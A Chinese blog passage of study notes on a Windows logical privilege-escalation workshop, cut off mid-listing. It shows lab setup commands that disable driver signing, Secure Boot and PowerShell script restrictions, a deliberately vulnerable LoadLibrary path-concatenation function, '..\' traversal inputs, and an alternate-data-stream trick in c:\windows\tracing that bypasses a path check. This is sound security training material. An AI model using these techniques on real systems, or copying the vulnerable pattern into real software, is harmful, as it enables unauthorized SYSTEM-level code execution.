<h2 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a>摘要</h2><p>GeekPwn 2016 比赛中有一道 Windows 服务漏洞提权题目,该服务程序会创建命名管道(Named Pipe)服务端接收客户端发送的文件路径然后调用 LoadLibrary 加载,但加载之前有一系列的检查过程,我们的最终目标是绕过这些检查,加载我们指定的 DLL并以 SYSTEM 权限执行任意代码。本文笔者逐一分析该服务的各个验证环节及其绕过方法,以及如何组合他们最终启动 SYSTEM 权限的计算器。</p>
<p>服务端的处理逻辑: </p>
<ol>
<li><p>服务端创建命名管道,等待客户端的连接。</p>
</li>
<li><p>客户端连接之后,服务端OpenProcess 打开客户端进程句柄,获得客户端进程 Image 文件路径。</p>
</li>
<li><p>验证客户端 Image 文件路径的签名。</p>
</li>
<li><p>签名验证通过之后,创建 Event 事件对象,无限等待 Event 对象直到 Signaled 状态。</p>
</li>
<li><p>通过管道接受客户端发送的 DLL 文件路径。</p>
</li>
<li><p>验证 DLL 文件路径的签名,签名通过之后调用 LoadLibrary 加载 DLL。</p>
</li>
</ol></summary>
</entry>
<entry>
<title>Windows Logical EoP Workshop Writeup</title>
<link href="https://rekken.github.io/2017/05/30/Windows-Logical-EoP-Workshop-Writeup/"/>
<id>https://rekken.github.io/2017/05/30/Windows-Logical-EoP-Workshop-Writeup/</id>
<published>2017-05-30T07:57:17.000Z</published>
<updated>2020-12-25T06:27:35.000Z</updated>
<content type="html"><![CDATA[<p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>)</p><p>这份文档是对 James Forshaw 2017 年公开的 《Windows Logical EoP Workshop》 逻辑漏洞本地提权 Workshop 的分析调试笔记。</p><ul><li><p>Workshop PPT: <a href="https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf">https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf</a></p></li><li><p>Workshop 源码: <a href="https://github.com/tyranid/windows-logical-eop-workshop">https://github.com/tyranid/windows-logical-eop-workshop</a></p></li></ul><h2 id="1-环境搭建"><a href="#1-环境搭建" class="headerlink" title="1 环境搭建"></a>1 环境搭建</h2><h3 id="1-1-虚拟机快照一次"><a href="#1-1-虚拟机快照一次" class="headerlink" title="1.1 虚拟机快照一次"></a>1.1 虚拟机快照一次</h3><p>如果方便,建议生成一次系统快照,方便实验结束之后恢复系统环境</p><h3 id="1-2-关闭驱动签名验证,以便测试自己编写的驱动"><a href="#1-2-关闭驱动签名验证,以便测试自己编写的驱动" class="headerlink" title="1.2 关闭驱动签名验证,以便测试自己编写的驱动"></a>1.2 关闭驱动签名验证,以便测试自己编写的驱动</h3><p>只有关闭了这个签名验证的保护,Windows 系统才允许加载用户自己编写的驱动。另外,这个特性是针对 64 位 Windows 8/10 的,如果用的是 32 位系统,可以忽略。</p><p>管理员权限运行:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32>Bcdedit.exe -set TESTSIGNING ON</span><br><span class="line">操作成功完成。</span><br><span class="line"></span><br><span class="line">C:\Windows\system32></span><br></pre></td></tr></table></figure><span id="more"></span><h4 id="1-2-1-FAQ-关闭驱动签名保护策略时遇到-‘设置元素数据时出错’"><a href="#1-2-1-FAQ-关闭驱动签名保护策略时遇到-‘设置元素数据时出错’" class="headerlink" title="1.2.1 [FAQ] 关闭驱动签名保护策略时遇到 ‘设置元素数据时出错’"></a>1.2.1 [FAQ] 关闭驱动签名保护策略时遇到 ‘设置元素数据时出错’</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">C:\WINDOWS\system32>Bcdedit.exe -set TESTSIGNING ON</span><br><span class="line">设置元素数据时出错。</span><br><span class="line">该值受安全引导策略保护,无法进行修改或删除。</span><br><span class="line"></span><br><span class="line">C:\WINDOWS\system32></span><br></pre></td></tr></table></figure><p>解决方法: 开机启动时,快速按 F2 进入 BIOS,选择 Boot 标签,将 Secure Boot 设置为 Disabled</p><h3 id="1-3-驱动服务的注册-注册内核测试驱动服务、手动模式启动"><a href="#1-3-驱动服务的注册-注册内核测试驱动服务、手动模式启动" class="headerlink" title="1.3 驱动服务的注册 - 注册内核测试驱动服务、手动模式启动"></a>1.3 驱动服务的注册 - 注册内核测试驱动服务、手动模式启动</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32>sc create workshop binPath= "C:\workshop\Driver\x86\LogicalEoPWorkshopDriver.sys" type= kernel start= demand</span><br><span class="line">[SC] CreateService 成功</span><br><span class="line">C:\Windows\system32></span><br></pre></td></tr></table></figure><p>注意每个参数 ‘=’ 的后面都有个空格,sc 命令的原型为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sc [servername] create Servicename [Optionname= Optionvalues]</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="1-4-禁用-PowerShell-脚本的执行策略的限制"><a href="#1-4-禁用-PowerShell-脚本的执行策略的限制" class="headerlink" title="1.4 禁用 PowerShell 脚本的执行策略的限制"></a>1.4 禁用 PowerShell 脚本的执行策略的限制</h3><p>PowerShell 脚本执行策略从最严格到最宽松依次有几个级别:</p><ul><li>Restricted: 说什么也不能执行</li><li>AllSigned: 有签名的才能执行</li><li>RemoteSigned: 网络下载的必须有签名才能执行</li><li>Unrestricted: 执行无限制,但是如果脚本是下载的,执行是会弹框提示</li><li>Bypass: 无任何限制,也不会弹框</li></ul><p>执行策略的生效范围分为三个层次:</p><ul><li>Process: 设置的策略仅影响当前的 powershell 进程,退出之后失效</li><li>CurrentUser: 仅影响当前用户,对其他用户启动的 powershell 进程无影响</li><li>LocalMachine: 影响当前机器上的所有用户</li></ul><p>这里设置为最宽松策略,仅影响当前用户:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\WINDOWS\system32>powershell -Command "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass"</span><br><span class="line">C:\WINDOWS\system32></span><br></pre></td></tr></table></figure><h3 id="1-5-重启系统,使上述配置生效"><a href="#1-5-重启系统,使上述配置生效" class="headerlink" title="1.5 重启系统,使上述配置生效"></a>1.5 重启系统,使上述配置生效</h3><p>这几个策略需要重启系统才能完全生效</p><h3 id="1-6-启动服务"><a href="#1-6-启动服务" class="headerlink" title="1.6 启动服务"></a>1.6 启动服务</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32>sc start workshop</span><br><span class="line"></span><br><span class="line">SERVICE_NAME: workshop</span><br><span class="line"> TYPE : 1 KERNEL_DRIVER</span><br><span class="line"> STATE : 4 RUNNING</span><br><span class="line"> (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)</span><br><span class="line"> WIN32_EXIT_CODE : 0 (0x0)</span><br><span class="line"> SERVICE_EXIT_CODE : 0 (0x0)</span><br><span class="line"> CHECKPOINT : 0x0</span><br><span class="line"> WAIT_HINT : 0x0</span><br><span class="line"> PID : 0</span><br><span class="line"> FLAGS :</span><br><span class="line"></span><br><span class="line">C:\Windows\system32></span><br></pre></td></tr></table></figure><h2 id="2-DEMO-1-Viewing-Token-and-Security-Descriptors-查看-Token-和安全描述符"><a href="#2-DEMO-1-Viewing-Token-and-Security-Descriptors-查看-Token-和安全描述符" class="headerlink" title="2 DEMO 1: Viewing Token and Security Descriptors(查看 Token 和安全描述符)"></a>2 DEMO 1: Viewing Token and Security Descriptors(查看 Token 和安全描述符)</h2><h3 id="查看进程-Token-的详细信息"><a href="#查看进程-Token-的详细信息" class="headerlink" title="查看进程 Token 的详细信息"></a>查看进程 Token 的详细信息</h3><p>利用 workshop\sandbox-attacksurface-analysis-tools\TokenViewer.exe 可以查看 Token 相关的各类安全属性信息,比如 Integrity Level</p><h3 id="查看对象管理中某个对象的安全描述符的详细信息"><a href="#查看对象管理中某个对象的安全描述符的详细信息" class="headerlink" title="查看对象管理中某个对象的安全描述符的详细信息"></a>查看对象管理中某个对象的安全描述符的详细信息</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\test> Import-Module C:\workshop\sandbox-attacksurface-analysis-tools\NtObjectManager\NtObjectManager.psd1</span><br><span class="line">PS C:\Users\test> $ev = New-NtEvent \BaseNamedObjects\abc</span><br><span class="line">PS C:\Users\test> $ev.SecurityDescriptor.Owner.Sid</span><br><span class="line">PS C:\Users\test> $ev.SecurityDescriptor.Dacl | Format-List</span><br></pre></td></tr></table></figure><h2 id="3-DEMO-2-Displaying-Object-Namespace"><a href="#3-DEMO-2-Displaying-Object-Namespace" class="headerlink" title="3 DEMO 2: Displaying Object Namespace"></a>3 DEMO 2: Displaying Object Namespace</h2><h3 id="获取对象管理器中-BaseNamedObjects-目录下的所有对象列表"><a href="#获取对象管理器中-BaseNamedObjects-目录下的所有对象列表" class="headerlink" title="获取对象管理器中 \BaseNamedObjects 目录下的所有对象列表"></a>获取对象管理器中 \BaseNamedObjects 目录下的所有对象列表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\test> Import-Module C:\workshop\sandbox-attacksurface-analysis-tools\NtObjectManager\NtObjectManager.psd1</span><br><span class="line">PS C:\Users\test> Get-ChildItem NtObject:\BaseNamedObjects</span><br></pre></td></tr></table></figure><h3 id="递归获得对象管理器中所有的符号连接"><a href="#递归获得对象管理器中所有的符号连接" class="headerlink" title="递归获得对象管理器中所有的符号连接"></a>递归获得对象管理器中所有的符号连接</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\test> Get-ChildItem -Recurse NtObject:\ | Where-Object -Property IsSymbolicLink | Format-List</span><br><span class="line">...</span><br><span class="line">Name : GLOBAL??\WfpAle</span><br><span class="line">TypeName : SymbolicLink</span><br><span class="line">IsDirectory : False</span><br><span class="line">IsSymbolicLink : True</span><br><span class="line">RelativePath : GLOBAL??\WfpAle</span><br><span class="line">SymbolicLinkTarget : \Device\WfpAle</span><br><span class="line">MaximumGrantedAccess : Query, ReadControl</span><br><span class="line">SecurityDescriptor : O:BAG:SYD:(A;;CCRC;;;WD)(A;;CCSDRCWDWO;;;SY)(A;;CCSDRCWDWO;;;BA)(A;;CCRC;;;RC)</span><br><span class="line"></span><br><span class="line">Name : GLOBAL??\ACPI#GenuineIntel_-_x86_Family_6_Model_78_-_Intel(R)_Core(TM)_i7-6650U_CPU_@_2.20GHz#_</span><br><span class="line"> #{97fadb10-4e33-40ae-359c-8bef029dbdd0}</span><br><span class="line">TypeName : SymbolicLink</span><br><span class="line">IsDirectory : False</span><br><span class="line">IsSymbolicLink : True</span><br><span class="line">RelativePath : GLOBAL??\ACPI#GenuineIntel_-_x86_Family_6_Model_78_-_Intel(R)_Core(TM)_i7-6650U_CPU_@_2.20GHz#_</span><br><span class="line"> #{97fadb10-4e33-40ae-359c-8bef029dbdd0}</span><br><span class="line">SymbolicLinkTarget : \Device\00000013</span><br><span class="line">MaximumGrantedAccess : Query, ReadControl</span><br><span class="line">SecurityDescriptor : O:BAG:SYD:(A;;CCRC;;;WD)(A;;CCSDRCWDWO;;;SY)(A;;CCSDRCWDWO;;;BA)(A;;CCRC;;;RC)</span><br><span class="line"></span><br><span class="line">Name : KnownDlls\KnownDllPath</span><br><span class="line">TypeName : SymbolicLink</span><br><span class="line">IsDirectory : False</span><br><span class="line">IsSymbolicLink : True</span><br><span class="line">RelativePath : KnownDlls\KnownDllPath</span><br><span class="line">SymbolicLinkTarget : C:\Windows\System32</span><br><span class="line">MaximumGrantedAccess : Query, ReadControl</span><br><span class="line">SecurityDescriptor : O:BAG:SYD:(A;;CCSDRCWDWO;;;BA)(A;;CCRC;;;WD)(A;;CCRC;;;RC)(A;;CCRC;;;AC)(A;;CCRC;;;S-1-15-2-2)</span><br></pre></td></tr></table></figure><h3 id="获得对象管理器中某个符号链接对象的目标对象"><a href="#获得对象管理器中某个符号链接对象的目标对象" class="headerlink" title="获得对象管理器中某个符号链接对象的目标对象"></a>获得对象管理器中某个符号链接对象的目标对象</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\test> Get-NtSymbolicLinkTarget \global??\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7</span><br><span class="line">\Device\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7</span><br><span class="line"></span><br><span class="line">PS C:\Users\test> Get-NtSymbolicLinkTarget \??\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7</span><br><span class="line">\Device\UMDFCtrlDev-ee7ed3ad-29bf-11e7-a06e-000c29f028f7</span><br></pre></td></tr></table></figure><h2 id="3-DEMO-3-Enumerating-Accessible-Resources-枚举指定进程可访问的进程列表"><a href="#3-DEMO-3-Enumerating-Accessible-Resources-枚举指定进程可访问的进程列表" class="headerlink" title="3 DEMO 3 - Enumerating Accessible Resources(枚举指定进程可访问的进程列表)"></a>3 DEMO 3 - Enumerating Accessible Resources(枚举指定进程可访问的进程列表)</h2><h3 id="以-MicrosoftEdgeCP-为例介绍如何枚举指定进程-通过-pid-指定-可以访问的目标进程"><a href="#以-MicrosoftEdgeCP-为例介绍如何枚举指定进程-通过-pid-指定-可以访问的目标进程" class="headerlink" title="以 MicrosoftEdgeCP 为例介绍如何枚举指定进程(通过 pid 指定)可以访问的目标进程"></a>以 MicrosoftEdgeCP 为例介绍如何枚举指定进程(通过 pid 指定)可以访问的目标进程</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\test> cd C:\workshop\sandbox-attacksurface-analysis-tools</span><br><span class="line">PS C:\workshop\sandbox-attacksurface-analysis-tools> .\CheckProcessAccess.exe</span><br><span class="line">0: Idle Synchronize</span><br><span class="line">8: SearchUI Full Access</span><br><span class="line">3036: ShellExperienceHost Full Access</span><br><span class="line">3304: CheckProcessAccess Full Access</span><br><span class="line">3580: sihost Full Access</span><br><span class="line">3592: svchost Full Access</span><br><span class="line">3804: taskhostw Full Access</span><br><span class="line">3908: ChsIME Full Access</span><br><span class="line">3964: RuntimeBroker Full Access</span><br><span class="line">3992: Full Access</span><br><span class="line">4076: explorer Full Access</span><br><span class="line">4504: TabTip Terminate|QueryLimitedInformation|Synchronize</span><br><span class="line">4820: dllhost Full Access</span><br><span class="line">4852: cmd Terminate|QueryLimitedInformation|Synchronize</span><br><span class="line">4916: conhost Terminate|QueryLimitedInformation|Synchronize</span><br><span class="line">5100: backgroundTaskHost Full Access</span><br><span class="line">5284: smartscreen Full Access</span><br><span class="line">5340: MSASCuiL Full Access</span><br><span class="line">5404: powershell Full Access</span><br><span class="line">5432: conhost Full Access</span><br><span class="line">5480: vmtoolsd Full Access</span><br><span class="line">5512: OneDrive Full Access</span><br><span class="line">6092: audiodg QueryLimitedInformation</span><br><span class="line">PS C:\workshop\sandbox-attacksurface-analysis-tools></span><br><span class="line">PS C:\workshop\sandbox-attacksurface-analysis-tools> $pidcp = Get-Process MicrosoftEdgeCP | Select-Object Id</span><br><span class="line">PS C:\workshop\sandbox-attacksurface-analysis-tools> .\CheckProcessAccess.exe -p $pidcp.Id</span><br><span class="line">0: Idle Synchronize</span><br><span class="line">3000: MicrosoftEdge QueryInformation|QueryLimitedInformation|Synchronize</span><br><span class="line">5280: MicrosoftEdgeCP Full Access</span><br><span class="line">PS C:\workshop\sandbox-attacksurface-analysis-tools></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="4-DEMO-4-Inspecting-Accessible-COM-Services-枚举可以访问的-COM-服务"><a href="#4-DEMO-4-Inspecting-Accessible-COM-Services-枚举可以访问的-COM-服务" class="headerlink" title="4 DEMO 4: Inspecting Accessible COM Services(枚举可以访问的 COM 服务)"></a>4 DEMO 4: Inspecting Accessible COM Services(枚举可以访问的 COM 服务)</h2><h3 id="COM、服务"><a href="#COM、服务" class="headerlink" title="COM、服务"></a>COM、服务</h3><p>COM 是一种实现方式,应用程序可以通过 COM 接口调用目标组件提供的服务,COM 组件可以注册成进程内(In-Process) 和独立进程实现,相应的,当用户程序调用该接口时,系统会选择将 COM 的实现 DLL 加载进用户进程空间或者是选择拉起独立进程。</p><p>漏洞挖掘中,一般只关注独立进程实现的 COM 服务,因为这样的服务如果存在漏洞才有可能被用于沙箱逃逸,In-Process 类型的 COM,即便存在漏洞并成功触发,那也还是在当前进程空间(比如在沙箱进程内部),继承的是当前进程的权限。</p><p>服务与 COM 本身没有关系,服务是个独立的概念,通过 Windows Service Manager 管理的后台程序,该程序提供某些功能或者暴露一些接口,有些服务会暴露 COM 接口对外提供服务。</p><p>DCOM(COM) 在注册时会拥有一个唯一的标识符 AppID,用户程序可以通过 AppID 指定目标 COM,在比较新的 Windows 版本中,可以为 AppID 额外指定一个名字。</p><p>AppID 是谁生成的呢?AppID 本身是 GUID,由 Guidgen.exe 生成,在 COM 注册的时候,需要在注册表中写入这个以 GUID 命名的注册表键到 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\ ,参考 <a href="https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms682359(v=vs.85).aspx">MSDN AppID</a> 和 <a href="https://blogs.msdn.microsoft.com/jigarme/2007/10/09/what-is-appid/">What is AppID</a> 以及 <a href="http://www.voidcn.com/blog/yifyrdm/article/p-1597354.html">分布式组件对象Distribute Component Object Model(DCOM)的配置</a></p><h3 id="查看当前测试进程可以访问的-COM-服务"><a href="#查看当前测试进程可以访问的-COM-服务" class="headerlink" title="查看当前测试进程可以访问的 COM 服务"></a>查看当前测试进程可以访问的 COM 服务</h3><p>打开如下工具,打开之后默认显示注册表的统计信息,包括 AppID 的计数、ProgID 的计数、各类服务 CLSID 的计数等等。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\workshop\OleViewDotNet\OleViewDotNet.exe</span><br></pre></td></tr></table></figure><p>过滤出当前进程可以访问的 App</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1. 菜单 -> Registry -> App IDs</span><br><span class="line">2. 右侧过滤栏 -> mode -> Accessible -> Apply -> Current Process</span><br></pre></td></tr></table></figure><h3 id="查看-Edge-Content-Process-可以访问的-COM-组件"><a href="#查看-Edge-Content-Process-可以访问的-COM-组件" class="headerlink" title="查看 Edge Content Process 可以访问的 COM 组件"></a>查看 Edge Content Process 可以访问的 COM 组件</h3><p>步骤基本同上,在 Apply 之后选择 Specific Process,选择 MicrosoftEdgeCP</p><h3 id="查看-Edge-Content-Process-可以访问的-COM-组件,并且只查看服务类型的"><a href="#查看-Edge-Content-Process-可以访问的-COM-组件,并且只查看服务类型的" class="headerlink" title="查看 Edge Content Process 可以访问的 COM 组件,并且只查看服务类型的"></a>查看 Edge Content Process 可以访问的 COM 组件,并且只查看服务类型的</h3><p>在上面过滤出 Edge Content Process 进程可访问组件的基础上,克隆一份然后设置过滤器,过滤出 Service 类型</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mode -> Complex -> Apply -> Type = AppId, Field = IsService -> Add,添加过滤器,然后确定</span><br></pre></td></tr></table></figure><p>此时会过滤出服务类型的 COM 组件</p><h2 id="5-DEMO-5-Exploiting-Path-Canonicalization-路径归一化相关漏洞的利用,如’-的拼接"><a href="#5-DEMO-5-Exploiting-Path-Canonicalization-路径归一化相关漏洞的利用,如’-的拼接" class="headerlink" title="5 DEMO 5 - Exploiting Path Canonicalization(路径归一化相关漏洞的利用,如’..'的拼接)"></a>5 DEMO 5 - Exploiting Path Canonicalization(路径归一化相关漏洞的利用,如’..'的拼接)</h2><h3 id="字符串拼接路径与-LoadLibrary"><a href="#字符串拼接路径与-LoadLibrary" class="headerlink" title="字符串拼接路径与 LoadLibrary"></a>字符串拼接路径与 LoadLibrary</h3><p>从 RpcServer.exe 打印的信息来看,测试 LoadLibrary 项时,输入 abc.dll,输出信息显示实际加载路径为 C:\Windows\abc.dll,所以,配合 ..\ 可以实现加载任意路径 DLL</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32>c:\workshop\ExploitTools\RpcServer.exe</span><br><span class="line">Called on binding 'ncalrpc:DESKTOP-5A86UND[RpcWorkshop]'</span><br><span class="line">TestLoadLibrary called</span><br><span class="line">Loading path: C:\Windows\abc.dll</span><br><span class="line">Error loading module: TestLoadLibrary called</span><br><span class="line">Loading path: C:\Windows\..\..\..\..\..\workshop\ExploitTools\TestDll.dll</span><br><span class="line">Loaded module: 65450000</span><br></pre></td></tr></table></figure><p>该漏洞所在函数的源码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> boolean <span class="title function_">TestLoadLibrary</span><span class="params">(<span class="type">handle_t</span> hBinding, <span class="type">const</span> <span class="type">wchar_t</span>* name)</span></span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"TestLoadLibrary called\n"</span>);</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">wstring</span> full_path = GetPathFromEnv(FOLDERID_Windows) + <span class="string">L"\\"</span> + name; <span class="comment">// 字符串拼接配合 ..\ 可以绕过路径限制</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Loading path: %ls\n"</span>, full_path.c_str());</span><br><span class="line">HMODULE hModule = LoadLibrary(full_path.c_str());</span><br><span class="line"><span class="keyword">if</span> (hModule != nullptr)</span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Loaded module: %p\n"</span>, hModule);</span><br><span class="line">FreeLibrary(hModule);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Error loading module: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="6-DEMO-6-Exploiting-Named-Streams"><a href="#6-DEMO-6-Exploiting-Named-Streams" class="headerlink" title="6 DEMO 6: Exploiting Named Streams"></a>6 DEMO 6: Exploiting Named Streams</h2><p>前面几步同上,后面选择 3 Test Load Library with Path Check,继续输入 ..\ 拼接的 DLL 路径</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">[RPC Tests]</span><br><span class="line">1 - Test Create Process</span><br><span class="line">2 - Test Load Library</span><br><span class="line">3 - Test Load Library with Path Check</span><br><span class="line"></span><br><span class="line">Specify operation number: 3</span><br><span class="line"></span><br><span class="line">Specify library name: ..\..\..\..\workshop\ExploitTools\testdll32.dll</span><br><span class="line">Error calling RPC function</span><br><span class="line">[RPC Tests]</span><br><span class="line">1 - Test Create Process</span><br><span class="line">2 - Test Load Library</span><br><span class="line">3 - Test Load Library with Path Check</span><br><span class="line">4 - Test Load Library TOCTOU</span><br><span class="line">5 - Test Load Library TOCTOU Hardened</span><br><span class="line">6 - Duplicate handle</span><br><span class="line">0 - Exit Menu</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这次没有成功,RpcServer.exe 提示发现了路径分隔符,经过几次测试发现,RpcServer.exe 会检查输入的路径中是否含有 ‘/‘ 和 ‘' 分隔符,如果有则拒绝加载</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">TestLoadLibraryCanonical called</span><br><span class="line">Error, name contains path separators</span><br></pre></td></tr></table></figure><p>所以我们的目标就是,路径中不出现 ‘/‘和’',但是路径指向的文件又是可控的(在 Tasks、tracing 目录下创建的文件也不行)</p><p>在文档中,James Forshaw 给出的方法是 ADS(Alternate Data Steam),在 C:\Windows 目录下,找到可以写入 Data Stream 的路径写入 TestDll32.dll。</p><p>他找的的路径是 c:\windows\tracing,经过测试发现普通用户(非管理员)有权限向 c:\windows\tracing 目录写入 ADS</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>CopyFile.exe TestDll32.dll c:\Windows\tracing:xyz.dll</span><br><span class="line">Copied TestDll32.dll to c:\Windows\tracing:xyz.dll</span><br><span class="line"></span><br><span class="line">c:\workshop\ExploitTools></span><br></pre></td></tr></table></figure><p>之后再次测试 Test Load Library with Path Check,路径输入 tracding:xyz.dll,成功!</p><h3 id="6-1-c-windows-tracing-路径的权限有什么特殊吗"><a href="#6-1-c-windows-tracing-路径的权限有什么特殊吗" class="headerlink" title="6.1 c:\windows\tracing 路径的权限有什么特殊吗"></a>6.1 c:\windows\tracing 路径的权限有什么特殊吗</h3><p>比 c:\windows\ 下的其他目录多好几个权限</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span 